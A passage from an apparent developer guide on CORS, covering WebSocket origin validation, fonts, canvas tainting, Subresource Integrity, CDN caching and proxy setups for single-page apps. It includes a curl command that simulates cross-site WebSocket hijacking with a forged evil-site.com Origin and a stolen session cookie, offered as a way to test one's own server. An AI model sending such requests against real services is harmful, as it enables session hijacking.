  const token = new URL(req.url, "https://ws.example.com")
    .searchParams.get("token");
  if (!isValidToken(token)) {
    ws.close(4001, "Unauthorized");
    return;
  }
});

Security: What Happens If You Skip Origin Validation

Let's be concrete about the risk. If your WebSocket server accepts connections from any origin, here's an attack scenario:

  1. User logs into https://yourapp.com and gets a session cookie.
  2. User visits https://evil-site.com (maybe they clicked a link in an email).
  3. evil-site.com runs JavaScript that opens a WebSocket to wss://ws.yourapp.com/live.
  4. The browser sends the Origin: https://evil-site.com header, but your server doesn't check it.
  5. If your WebSocket server uses cookies for authentication (or the connection inherits the user's session), evil-site.com now has a live WebSocket connection to your server, authenticated as the user.
  6. The attacker can now receive real-time data meant for the user, or send messages as the user.

This is essentially a Cross-Site WebSocket Hijacking (CSWSH) attack. It's the WebSocket equivalent of CSRF, and it's entirely preventable by checking the Origin header.

# Demonstrating the attack with curl:
# An attacker's page could do the equivalent of this:
curl -v \
  --include \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
  -H "Origin: https://evil-site.com" \
  -H "Cookie: session=stolen-or-browser-attached-cookie" \
  https://ws.yourapp.com/live

If your server responds with 101 Switching Protocols to this request, you have a vulnerability.

Best Practices for WebSocket Security

  1. Always validate the Origin header. Use an allowlist, not a blocklist.
  2. Don't rely solely on cookies for WebSocket authentication. Use a short-lived token passed as a query parameter or in the first message.
  3. Use wss:// in production. Always. No exceptions.
  4. Implement rate limiting on WebSocket connections per IP and per user.
  5. Validate messages. Just because a connection was authenticated at handshake time doesn't mean every message is safe.
// Better authentication pattern: token-based
// Step 1: Get a short-lived WebSocket token via your REST API (CORS-protected)
const response = await fetch("https://api.example.com/ws-token", {
  method: "POST",
  credentials: "include"
});
const { token } = await response.json();

// Step 2: Use the token to connect (token is single-use, short-lived)
const ws = new WebSocket(`wss://ws.example.com/live?token=${token}`);

This way, even if an attacker can initiate a WebSocket connection from an evil page, they can't get a valid token because the REST endpoint that issues tokens is protected by CORS and requires the user's cookies to be sent from an allowed origin.

Summary

FeatureHTTP (fetch/XHR)WebSocket
CORS enforcementBrowser-enforcedNone
Origin header sentYesYes
Origin validationBy browser (CORS)By server (manual)
Preflight requestsYes (for non-simple)Never
Cookie handlingControlled by credentialsSent automatically (same-origin cookies)
Mixed content blockedYes (HTTP from HTTPS page)Yes (ws:// from HTTPS page)

The key takeaway: WebSockets give you more power and more responsibility. The browser sends the Origin header but won't enforce anything based on the response. If you're running a WebSocket server that accepts connections from web browsers, validating the Origin header is not optional — it's the only thing standing between you and cross-site WebSocket hijacking.

CORS for Static Assets and Fonts

You might think CORS is only about API calls. JavaScript fetching JSON from a server, that sort of thing. And then one day you deploy a beautiful new font from your CDN and it doesn't load. No error in the console that makes sense, the text just... falls back to Arial. Welcome to the world of CORS for static assets.

This chapter covers the cases where CORS shows up in places you didn't expect: fonts, images on canvas, scripts, and CDN-served resources. These are some of the most frustrating CORS issues to debug because the failure modes are silent, the symptoms are cosmetic, and the root causes are buried in specs that nobody reads for fun.

Why Fonts Are Special

The CSS Fonts specification contains a requirement that catches web developers off guard:

Font fetches that are cross-origin must use CORS. If the CORS check fails, the font is treated as a network error.

This isn't a suggestion. It isn't a browser quirk. It is a normative requirement in the spec. Every browser implements it. When you load a font via @font-face from a different origin, the browser performs a CORS check on the font file — even though you're loading it via CSS, not JavaScript.

/* Your page is on https://myapp.example.com */
/* The font is on https://cdn.example.com */

@font-face {
  font-family: "CustomFont";
  src: url("https://cdn.example.com/fonts/custom.woff2") format("woff2");
  font-weight: 400;
  font-style: normal;
}

body {
  font-family: "CustomFont", Arial, sans-serif;
}

For this to work, the CDN must respond with CORS headers when serving the font file:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://myapp.example.com
Content-Type: font/woff2
Content-Length: 45678

Without that Access-Control-Allow-Origin header, the browser will fetch the font, receive the bytes, and then throw them away because the CORS check failed.

You can verify this with curl:

# Check if your CDN serves CORS headers for font files:
$ curl -sI "https://cdn.example.com/fonts/custom.woff2" \
    -H "Origin: https://myapp.example.com" \
  | grep -i access-control

# If this returns nothing, your fonts will not load cross-origin.
# You need:
# Access-Control-Allow-Origin: https://myapp.example.com
# or:
# Access-Control-Allow-Origin: *

Why Does the Spec Require This?

The rationale comes from the font foundry world. Font licenses often restrict which domains can use a font. By requiring CORS, the spec ensures that a font hosted on fonts.example.com can't be freely used by any website unless the server explicitly allows it via CORS headers. Whether this actually provides meaningful protection is debatable (anyone can download the font file directly), but that's the reasoning, and it's baked into every browser.

The "FOUT Then Nothing" Problem

Here's the typical debugging experience:

  1. You add a custom font from your CDN.
  2. In development (same origin), it works perfectly.
  3. You deploy to production (app and CDN on different origins).
  4. The page loads. For a brief moment, you see the fallback font (Flash of Unstyled Text, or FOUT). Then... it just stays as the fallback. The custom font never loads.
  5. You open DevTools. The Network tab shows the font file was requested and returned 200 OK. The response has bytes. It looks fine.
  6. But then you look at the Console tab and see something like:
Access to font at 'https://cdn.example.com/fonts/custom.woff2' from origin
'https://myapp.example.com' has been blocked by CORS policy: No
'Access-Control-Allow-Origin' header is present on the requested resource.

The insidious thing is that this error is easy to miss. It doesn't crash anything. The page still renders. The text is still readable. It's just in the wrong font. In a code review or a quick glance at the deployed site, you might not even notice for days.

Debugging Font CORS Issues

In Chrome DevTools:

  1. Open the Network tab.
  2. Filter by Font (there's a filter button for resource types).
  3. Look at each font request. Click on it.
  4. Check the Response Headers section for Access-Control-Allow-Origin.
  5. If it's missing, that's your problem.
  6. Also check the Console tab for the explicit CORS error message.

In Firefox, the error message is similarly helpful:

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the
remote resource at https://cdn.example.com/fonts/custom.woff2. (Reason:
CORS header 'Access-Control-Allow-Origin' missing).

Images on Canvas: The Tainting Problem

Here's another place CORS shows up unexpectedly. You can display a cross-origin image on a page with a simple <img> tag — no CORS required:

<!-- This works fine. No CORS needed to display the image. -->
<img src="https://other-site.com/photo.jpg" alt="A photo">

But the moment you draw that image onto a <canvas> and try to read the pixel data, CORS enters the picture:

const canvas = document.createElement("canvas");
const ctx = canvas.getContext("2d");
const img = new Image();

img.src = "https://other-site.com/photo.jpg";
img.onload = () => {
  ctx.drawImage(img, 0, 0);

  // This throws a SecurityError:
  try {
    const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
  } catch (e) {
    console.error(e);
    // SecurityError: The operation is insecure.
    // The canvas has been "tainted" by the cross-origin image.
  }

  // This also fails:
  try {
    const dataUrl = canvas.toDataURL();
  } catch (e) {
    console.error(e);
    // SecurityError: Tainted canvases may not be exported.
  }
};

Drawing a cross-origin image onto a canvas taints the canvas. A tainted canvas can still be displayed, but you can't extract pixel data from it. This prevents a malicious page from using canvas as a way to read the contents of cross-origin images (which could be sensitive — think profile photos, medical images, CAPTCHAs).

Fixing It: The crossorigin Attribute

To load a cross-origin image without tainting the canvas, you need two things:

  1. The crossorigin attribute on the <img> element.
  2. The server must respond with appropriate CORS headers.
const img = new Image();
img.crossOrigin = "anonymous";  // This triggers a CORS request
img.src = "https://other-site.com/photo.jpg";

img.onload = () => {
  ctx.drawImage(img, 0, 0);

  // Now this works (if the server sent CORS headers):
  const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
  const dataUrl = canvas.toDataURL();
};

The server must respond with:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://myapp.example.com
Content-Type: image/jpeg

Without the server's CORS headers, adding crossorigin actually makes things worse: the image won't load at all, instead of loading but tainting the canvas.

The crossorigin Attribute on HTML Elements

Several HTML elements support the crossorigin attribute:

ElementAttribute syntaxEffect
<img><img crossorigin="anonymous">CORS request for image data
<script><script crossorigin="anonymous">Exposes full error details
<link><link crossorigin="anonymous">CORS request for stylesheet/font
<video><video crossorigin="anonymous">CORS request for video data
<audio><audio crossorigin="anonymous">CORS request for audio data

Two Modes: anonymous vs use-credentials

The crossorigin attribute accepts two values:

anonymous (or just the bare attribute crossorigin):

  • Sends a CORS request without credentials (no cookies, no HTTP auth).
  • The server can respond with Access-Control-Allow-Origin: *.
  • This is what you almost always want for public static assets.
<img crossorigin="anonymous" src="https://cdn.example.com/image.png">
<script crossorigin="anonymous" src="https://cdn.example.com/app.js"></script>
<link crossorigin="anonymous" rel="stylesheet" href="https://cdn.example.com/styles.css">

use-credentials:

  • Sends a CORS request with credentials (cookies, HTTP auth).
  • The server must respond with the specific origin (not *) and Access-Control-Allow-Credentials: true.
  • Use this only when the server requires authentication to serve the resource.
<img crossorigin="use-credentials" src="https://cdn.example.com/private/photo.jpg">

Server response required:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://myapp.example.com
Access-Control-Allow-Credentials: true
Content-Type: image/jpeg

The Script Error Case

The crossorigin attribute on <script> deserves special attention. Without it, if a cross-origin script throws an error, your window.onerror handler gets almost no information:

window.onerror = function(message, source, lineno, colno, error) {
  console.log(message);  // "Script error."
  console.log(source);   // ""
  console.log(lineno);   // 0
  console.log(colno);    // 0
  console.log(error);    // null
};

"Script error." That's it. No stack trace, no source file, no line number. The browser deliberately hides this information for cross-origin scripts to prevent information leakage.

With the crossorigin attribute (and proper CORS headers from the server):

<script crossorigin="anonymous" src="https://cdn.example.com/app.js"></script>
window.onerror = function(message, source, lineno, colno, error) {
  console.log(message);  // "Uncaught TypeError: Cannot read property 'foo' of null"
  console.log(source);   // "https://cdn.example.com/app.js"
  console.log(lineno);   // 42
  console.log(colno);    // 15
  console.log(error);    // TypeError object with full stack trace
};

This is critical for error monitoring services like Sentry, Datadog, or Bugsnag. If you're loading your JavaScript from a CDN and not using the crossorigin attribute, your error reports will be full of useless "Script error." entries. I have seen entire Sentry dashboards that were 90% "Script error." because someone forgot this attribute.

CDN Configuration for Fonts and Static Assets

Let's get practical. Here's how to configure CORS for static assets on common CDN and hosting platforms.

Nginx

# In your server block or location block for static assets:

location ~* \.(woff2?|ttf|otf|eot)$ {
    add_header Access-Control-Allow-Origin "*";
    add_header Access-Control-Allow-Methods "GET";
    add_header Access-Control-Max-Age "86400";

    # Also set proper content types
    types {
        font/woff2  woff2;
        font/woff   woff;
        font/ttf    ttf;
        font/otf    otf;
        application/vnd.ms-fontobject eot;
    }
}

# For all static assets (JS, CSS, images, fonts):
location ~* \.(js|css|png|jpg|jpeg|gif|svg|ico|woff2?|ttf|otf|eot)$ {
    add_header Access-Control-Allow-Origin "*";
    add_header Vary "Origin";
}

Apache (.htaccess)

# Enable CORS for font files
<FilesMatch "\.(woff2?|ttf|otf|eot)$">
    Header set Access-Control-Allow-Origin "*"
    Header set Access-Control-Allow-Methods "GET"
    Header set Access-Control-Max-Age "86400"
</FilesMatch>

# Or for all static assets:
<FilesMatch "\.(js|css|png|jpg|jpeg|gif|svg|woff2?|ttf|otf|eot)$">
    Header set Access-Control-Allow-Origin "*"
    Header set Vary "Origin"
</FilesMatch>

AWS S3 Bucket CORS Configuration

S3 uses a JSON-based CORS configuration:

[
  {
    "AllowedOrigins": ["https://myapp.example.com"],
    "AllowedMethods": ["GET", "HEAD"],
    "AllowedHeaders": ["*"],
    "ExposeHeaders": [],
    "MaxAgeSeconds": 86400
  }
]

Or if you want to allow all origins (typical for public assets):

[
  {
    "AllowedOrigins": ["*"],
    "AllowedMethods": ["GET", "HEAD"],
    "AllowedHeaders": ["*"],
    "ExposeHeaders": [],
    "MaxAgeSeconds": 86400
  }
]

Apply it via the AWS CLI:

aws s3api put-bucket-cors --bucket my-assets-bucket --cors-configuration '{
  "CORSRules": [
    {
      "AllowedOrigins": ["*"],
      "AllowedMethods": ["GET", "HEAD"],
      "AllowedHeaders": ["*"],
      "MaxAgeSeconds": 86400
    }
  ]
}'

Or verify the current configuration:

$ aws s3api get-bucket-cors --bucket my-assets-bucket
{
    "CORSRules": [
        {
            "AllowedOrigins": ["*"],
            "AllowedMethods": ["GET", "HEAD"],
            "AllowedHeaders": ["*"],
            "MaxAgeSeconds": 86400
        }
    ]
}

AWS CloudFront with S3

This is where things get tricky. S3 might have the right CORS configuration, but CloudFront can strip or cache headers incorrectly. You need to:

  1. Configure S3 CORS (as shown above).

  2. Configure CloudFront to forward the Origin header to S3:

    • In the CloudFront distribution's behavior settings, add Origin to the cache key (or use a cache policy that includes it).
    • Under "Origin request policy," use a policy that forwards the Origin header.
  3. Configure the CloudFront response headers policy to pass through CORS headers:

# Create a response headers policy that includes CORS headers:
aws cloudfront create-response-headers-policy --response-headers-policy-config '{
  "Name": "CORS-Static-Assets",
  "Comment": "CORS headers for static assets",
  "CorsConfig": {
    "AccessControlAllowOrigins": {
      "Quantity": 1,
      "Items": ["*"]
    },
    "AccessControlAllowHeaders": {
      "Quantity": 1,
      "Items": ["*"]
    },
    "AccessControlAllowMethods": {
      "Quantity": 2,
      "Items": ["GET", "HEAD"]
    },
    "AccessControlMaxAgeSec": 86400,
    "OriginOverride": true
  }
}'

The CDN Caching Problem (This One's Nasty)

This is one of the most common and most confusing CORS issues in production. It goes like this:

  1. Browser A makes a same-origin request to your CDN for a font file. The request has no Origin header (because it's same-origin). The CDN forwards to the origin server, which responds without CORS headers (because there was no Origin header in the request, and many servers only add CORS headers when they see an Origin header).

  2. The CDN caches this response — the one without CORS headers.

  3. Browser B makes a cross-origin request to the same CDN for the same font file. The request includes an Origin header. But the CDN serves the cached response from step 1 — without CORS headers.

  4. Browser B's CORS check fails. The font doesn't load.

The maddening part: this is intermittent. It depends on which request hits the CDN first. If a cross-origin request populates the cache first, same-origin requests work fine (they don't need CORS headers). But if a same-origin request populates the cache first, all subsequent cross-origin requests fail until the cache expires.

The Fix: Vary: Origin

The solution is the Vary response header:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://myapp.example.com
Content-Type: font/woff2
Vary: Origin

Vary: Origin tells the CDN (and any other cache): "The response to this URL varies depending on the Origin request header. Cache different versions for different Origin values."

With Vary: Origin:

  • A request with no Origin header gets cached separately.
  • A request with Origin: https://myapp.example.com gets cached separately.
  • A request with Origin: https://other-app.example.com gets cached separately.

Every server that serves resources cross-origin and sits behind a CDN should include Vary: Origin in its responses. I cannot stress this enough. Omitting it is one of the most common causes of intermittent, hard-to-reproduce CORS failures in production.

# Verify that Vary: Origin is present:
$ curl -sI "https://cdn.example.com/fonts/custom.woff2" \
    -H "Origin: https://myapp.example.com" \
  | grep -i vary

Vary: Origin

When You Use Access-Control-Allow-Origin: *

If you always respond with Access-Control-Allow-Origin: * regardless of the request's Origin header, you technically don't need Vary: Origin because the response is the same for all origins. However, I still recommend including it. It costs nothing and protects you if you later switch to origin-specific responses.

Some CDN providers (like CloudFront) handle Vary: Origin automatically when you configure CORS via their response headers policies. Others require you to configure it explicitly. Test your setup:

# Request with no Origin header:
$ curl -sI "https://cdn.example.com/fonts/custom.woff2" \
  | grep -iE "(access-control|vary)"

Access-Control-Allow-Origin: *
Vary: Origin

# Request with an Origin header:
$ curl -sI "https://cdn.example.com/fonts/custom.woff2" \
    -H "Origin: https://myapp.example.com" \
  | grep -iE "(access-control|vary)"

Access-Control-Allow-Origin: *
Vary: Origin

Both should include the CORS headers. If the first request (no Origin) doesn't include them but the second does, you'll hit the caching problem described above.

Subresource Integrity (SRI) and CORS

Subresource Integrity lets you verify that a file loaded from a CDN hasn't been tampered with. You include a hash of the expected content:

<script
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous">
</script>

Notice that crossorigin="anonymous" is required when using SRI with cross-origin resources. Here's why:

  1. SRI needs to read the resource's bytes to compute a hash and compare it to the integrity attribute.
  2. Reading the bytes of a cross-origin resource requires CORS.
  3. Without the crossorigin attribute, the browser loads the script in "no-cors" mode, and the response is opaque — the bytes can't be hashed.

If you use integrity without crossorigin on a cross-origin script, the browser will refuse to execute the script entirely. The error in Chrome looks like:

Failed to find a valid digest in the 'integrity' attribute for resource
'https://cdn.example.com/library.js' with computed SHA-384 integrity
'...'. The resource has been blocked.

This also means the CDN serving the script must include CORS headers:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/javascript

SRI and CORS: The Complete Chain

For SRI to work with cross-origin resources, you need all of these:

  1. The integrity attribute with the correct hash.
  2. The crossorigin="anonymous" attribute on the element.
  3. The server responding with Access-Control-Allow-Origin (usually * for public CDN resources).
<!-- All three pieces: src, integrity, crossorigin -->
<link
  rel="stylesheet"
  href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"
  integrity="sha384-9ndCyUaIbzAi2FUVXJi0CjmCapSmO7icsOifkntWB..."
  crossorigin="anonymous">

<script
  src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"
  integrity="sha384-geWF76RCwLtnZ8qwWowPQNguL3RmwHVBC9FhGdlKr..."
  crossorigin="anonymous">
</script>

What If the CDN Is Compromised?

SRI protects against CDN compromise: if an attacker modifies the file on the CDN, the hash won't match and the browser will refuse to load it. This is its primary purpose. But SRI only works if:

  • CORS is properly configured (so the browser can read and hash the bytes).
  • You've pinned the correct hash (generated from a known-good version).
  • The browser supports SRI (all modern browsers do).

Generate SRI hashes yourself:

# Download the file and compute its hash:
$ curl -s https://cdn.example.com/library.js | \
    openssl dgst -sha384 -binary | \
    openssl base64 -A

oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w

# Use it in your HTML:
# integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"

Or use the srihash.org service, which computes the hash and gives you the complete HTML attribute.

Putting It All Together: A Checklist

When serving static assets cross-origin, here's what you need:

  • Font files: Server sends Access-Control-Allow-Origin header.
  • Images used on canvas: <img crossorigin="anonymous"> and server sends CORS headers.
  • Scripts with error monitoring: <script crossorigin="anonymous"> and server sends CORS headers.
  • Scripts with SRI: <script crossorigin="anonymous" integrity="..."> and server sends CORS headers.
  • CDN caching: Server sends Vary: Origin to prevent the CDN from serving cached responses without CORS headers.
  • CloudFront: Origin request policy forwards the Origin header to the origin server.

Test everything with curl before and after deployment:

# The ultimate CORS check for static assets:
for file in \
  "/fonts/custom.woff2" \
  "/js/app.js" \
  "/css/styles.css" \
  "/images/logo.png"
do
  echo "--- $file ---"
  curl -sI "https://cdn.example.com${file}" \
    -H "Origin: https://myapp.example.com" \
    | grep -iE "(access-control|vary|content-type)"
  echo
done

If any resource is missing Access-Control-Allow-Origin, fix it before your users see broken fonts, blank canvases, or "Script error." in their error logs. Those are the kinds of bugs that don't trigger alerts but slowly erode the quality of your application while everyone wonders why the Sentry dashboard is full of noise and the marketing site looks slightly off in certain browsers on certain days depending on which edge node their CDN request landed on.

Not that I'm speaking from experience or anything.

CORS in Single-Page Applications

If you've never had a CORS problem, you've probably never built a single-page application. SPAs are the number one generator of CORS confusion in the known universe, and it's not even close. The architecture practically guarantees you'll run into it on day one.

Let's talk about why, and then let's fix it—permanently.

Why SPAs Are Ground Zero for CORS

Traditional server-rendered applications don't have CORS problems. Your Django template, your Rails view, your PHP page—they all make requests back to the same server that rendered them. The browser loaded the page from https://app.example.com, and every form submission and AJAX call goes right back to https://app.example.com. Same origin. No CORS. Life is simple.

SPAs broke this model. Now your frontend is a static bundle of JavaScript that runs entirely in the browser, making API calls to a backend that may live at a completely different origin. The browser sees JavaScript loaded from one origin making fetch() calls to another origin, and the Same-Origin Policy kicks in.

But here's the part that really gets people: the problem usually shows up in development first, in a way that's confusing enough to send you down the wrong rabbit hole.

The Classic Setup: Dev Server on :3000, API on :8080

Every SPA framework ships with a development server. React (via Vite or Create React App), Vue, Angular, Svelte—they all give you a hot-reloading dev server that typically runs on http://localhost:3000 or http://localhost:5173.

Your API server runs on a different port. Maybe it's Express on :8080, Django on :8000, or Spring Boot on :9090.

Here's your frontend code:

// Running on http://localhost:5173
const response = await fetch('http://localhost:8080/api/users');
const users = await response.json();

You open your browser, navigate to http://localhost:5173, and immediately see this in the DevTools console:

Access to fetch at 'http://localhost:8080/api/users' from origin
'http://localhost:5173' has been blocked by CORS policy: No
'Access-Control-Allow-Origin' header is present on the requested resource.

Different ports mean different origins. http://localhost:5173 and http://localhost:8080 are not the same origin. The browser is doing exactly what it's supposed to do.

This is the moment where roughly 50% of developers add Access-Control-Allow-Origin: * to their API server and call it a day. The other 50% google "CORS error fix" and end up on a Stack Overflow answer from 2016 that tells them to install a browser extension that disables CORS.

Neither of these is what you want. Let me show you the right approaches.

The Dev Proxy: Making the Browser Think It's Same-Origin

Every major frontend build tool supports a development proxy, and it's the cleanest solution for local development. The idea is simple: instead of having your frontend JavaScript make cross-origin requests directly to http://localhost:8080, you configure the dev server to proxy those requests. Your frontend makes requests to its own origin, and the dev server forwards them to your API behind the scenes.

The browser never sees a cross-origin request. No CORS headers needed.

Vite Proxy Configuration

In vite.config.js:

export default defineConfig({
  server: {
    proxy: {
      '/api': {
        target: 'http://localhost:8080',
        changeOrigin: true,
      }
    }
  }
})

Now your frontend code changes to:

// Running on http://localhost:5173
// This request goes to http://localhost:5173/api/users
// Vite proxies it to http://localhost:8080/api/users
const response = await fetch('/api/users');
const users = await response.json();

The browser sees a request from http://localhost:5173 to http://localhost:5173/api/users. Same origin. CORS never enters the picture.

webpack-dev-server (Create React App, older setups)

In webpack.config.js:

module.exports = {
  devServer: {
    proxy: [
      {
        context: ['/api'],
        target: 'http://localhost:8080',
        changeOrigin: true,
      }
    ]
  }
}

Or if you're using Create React App, just add this to package.json:

{
  "proxy": "http://localhost:8080"
}

That one line proxies all unrecognized requests to your API server. It's blunt but effective.

Angular CLI

In proxy.conf.json:

{
  "/api": {
    "target": "http://localhost:8080",
    "secure": false,
    "changeOrigin": true
  }
}

Then start the dev server with:

ng serve --proxy-config proxy.conf.json

Why the Dev Proxy Works

Let's be precise about what's happening. Without the proxy:

Browser (localhost:5173) ----> API Server (localhost:8080)
  Origin: http://localhost:5173
  → Cross-origin request → CORS applies → blocked (no CORS headers)

With the proxy:

Browser (localhost:5173) ----> Dev Server (localhost:5173) ----> API Server (localhost:8080)
  Origin: http://localhost:5173     (server-to-server, no browser)
  → Same-origin request            → No CORS at all
  → CORS never applies

The key insight: CORS is a browser enforcement mechanism. The dev server's proxy is a Node.js process making an HTTP request to your API. There's no browser involved in that second hop. Node.js doesn't enforce the Same-Origin Policy. The proxy fetches the response and hands it back to the browser as if it came from the dev server itself.

This is not a hack. This is not "disabling" CORS. This is genuinely making the request same-origin from the browser's perspective.

Development vs. Production: Two Different Worlds

Here's what catches people: the dev proxy is a development tool. It doesn't exist in production. When you run npm run build, you get a folder of static files. There's no Vite, no webpack-dev-server, no proxy. You need a real strategy for production.

This leads to an architecture decision that you should make before you start building, not after you've deployed and everything's on fire.

Production Architecture #1: Reverse Proxy (No CORS Needed)

The most common production setup—and the one I recommend for most applications—is to serve everything from the same origin using a reverse proxy.

                            ┌──────────────────────┐
                            │   Nginx / Caddy /    │
   Browser ──────────────►  │   Cloud Load Balancer │
   https://app.example.com  │                      │
                            │  /           → Static │
                            │  /api/*      → API   │
                            └──────────────────────┘

The browser only ever talks to https://app.example.com. Nginx routes /api/* to your backend and everything else to your static files. Same origin. No CORS. This mirrors what your dev proxy was doing, but in production.

Here's a minimal Nginx config:

server {
    listen 443 ssl;
    server_name app.example.com;

    # Serve the SPA static files
    location / {
        root /var/www/app/dist;
        try_files $uri $uri/ /index.html;
    }

    # Proxy API requests to the backend
    location /api/ {
        proxy_pass http://127.0.0.1:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

This is the "just don't have CORS" strategy, and it's beautiful in its simplicity. Your frontend code uses relative URLs (/api/users), and it works identically in development (via the dev proxy) and production (via Nginx).

Production Architecture #2: Separate API Domain (CORS Required)

Sometimes you genuinely need your API on a different domain. Common reasons:

  • Your API serves multiple frontends (web app, mobile app, partner integrations)
  • You're using a managed API service (AWS API Gateway, Cloudflare Workers)
  • Your frontend is on a CDN at app.example.com and your API is at api.example.com
  • Organizational reasons: the API team and frontend team deploy independently

In this case, you need real CORS configuration on your API server. Your frontend code uses absolute URLs:

const API_BASE = 'https://api.example.com';
const response = await fetch(`${API_BASE}/api/users`, {
  headers: {
    'Authorization': `Bearer ${token}`,
    'Content-Type': 'application/json',
  },
});

And your API server responds with proper CORS headers:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400

Note that we're returning the specific origin, not *. That matters, especially if you're dealing with credentials.

Authentication is where CORS configuration goes from "slightly annoying" to "pull your hair out." The approach you choose for auth has a dramatic impact on your CORS complexity.

Bearer Tokens (JWT, API Keys)

With token-based auth, the token lives in JavaScript-accessible storage (usually localStorage or memory) and is sent as a header:

fetch('https://api.example.com/api/users', {
  headers: {
    'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIs...',
  },
});

CORS implications:

  1. The Authorization header is not a CORS-safelisted header. This means every single authenticated request triggers a preflight OPTIONS request.
  2. You don't need credentials: 'include' because you're not sending cookies.
  3. You can use Access-Control-Allow-Origin: * if your API is truly public (but you probably shouldn't for authenticated endpoints).

Here's the preflight exchange:

OPTIONS /api/users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: GET
Access-Control-Request-Headers: authorization

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400

The Access-Control-Max-Age: 86400 is critical here. Without it, the browser sends a preflight before every API call. With it, the browser caches the preflight result for 24 hours. This is the difference between your API getting double the traffic and not.

Let's verify this with curl. First, the preflight:

curl -v -X OPTIONS https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization"

Then the actual request:

curl -v https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."

With cookie-based auth, the session cookie is managed by the browser and sent automatically. This is trickier with CORS:

fetch('https://api.example.com/api/users', {
  credentials: 'include',  // Required to send cookies cross-origin
});

CORS implications:

  1. You must set credentials: 'include' on every request.
  2. The server must respond with Access-Control-Allow-Credentials: true.
  3. The server cannot use Access-Control-Allow-Origin: *. It must echo back the specific origin.
  4. The server cannot use Access-Control-Allow-Headers: * or Access-Control-Allow-Methods: *.
  5. Cookies must have SameSite=None; Secure to be sent cross-origin in modern browsers.

The response headers:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=None

Cookie-based auth with CORS is the hardest configuration to get right. If you have the choice, bearer tokens are simpler for cross-origin architectures. If you're using a reverse proxy (same origin), cookies work great with zero CORS headaches.

Authorization Header Always Triggers Preflight

This is worth its own section because it surprises so many people.

You might think a simple GET request with an Authorization header is a "simple request." It's not. The CORS spec considers only a handful of headers as safelisted: Accept, Accept-Language, Content-Language, and Content-Type (with restrictions). Authorization is not among them.

This means that even this:

fetch('https://api.example.com/api/public-data', {
  headers: { 'Authorization': 'Bearer token123' }
});

...triggers a preflight. Every time (unless cached). For an API that handles hundreds of requests per second, that's potentially hundreds of extra OPTIONS requests per second.

Mitigations:

  1. Set Access-Control-Max-Age aggressively. 86400 (24 hours) is the maximum Chrome will honor. Firefox allows up to 86400 as well. Safari caps it at a frustrating 600 seconds (10 minutes). Set it to 86400 and accept that Safari users generate more preflights.

  2. Consider using the reverse proxy approach if your frontend and API can share an origin. No CORS, no preflights, no overhead.

  3. Don't fight the spec. Some developers try to work around this by putting the token in a query parameter or a cookie instead. Query parameters are a security hazard (they end up in logs, referrer headers, and browser history). Cookies work but bring their own complexity. Just handle the preflight properly and cache it.

Practical Setup: React + Express

Here's a complete working setup. The file structure:

my-app/
├── client/          # React (Vite)
│   ├── src/
│   │   └── App.jsx
│   └── vite.config.js
└── server/          # Express
    └── index.js

server/index.js:

const express = require('express');
const cors = require('cors');
const app = express();

// CORS config: only needed if not using reverse proxy
app.use(cors({
  origin: 'http://localhost:5173',  // Vite dev server
  credentials: true,
  maxAge: 86400,
}));

app.use(express.json());

app.get('/api/users', (req, res) => {
  res.json([{ id: 1, name: 'Alice' }, { id: 2, name: 'Bob' }]);
});

app.listen(8080, () => console.log('API on :8080'));

client/vite.config.js:

import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';

export default defineConfig({
  plugins: [react()],
  server: {
    proxy: {
      '/api': {
        target: 'http://localhost:8080',
        changeOrigin: true,
      }
    }
  }
});

client/src/App.jsx:

import { useEffect, useState } from 'react';

function App() {
  const [users, setUsers] = useState([]);

  useEffect(() => {
    // Relative URL — works with both dev proxy and production reverse proxy
    fetch('/api/users')
      .then(res => res.json())
      .then(setUsers);
  }, []);

  return (
    <ul>
      {users.map(u => <li key={u.id}>{u.name}</li>)}
    </ul>
  );
}

Notice that the React code uses /api/users, not http://localhost:8080/api/users. This is intentional. The same code works in development (proxied by Vite) and production (proxied by Nginx). You never hardcode the API origin in your frontend.

Practical Setup: Vue + Django

Django settings.py (using django-cors-headers):

INSTALLED_APPS = [
    # ...
    'corsheaders',
]

MIDDLEWARE = [
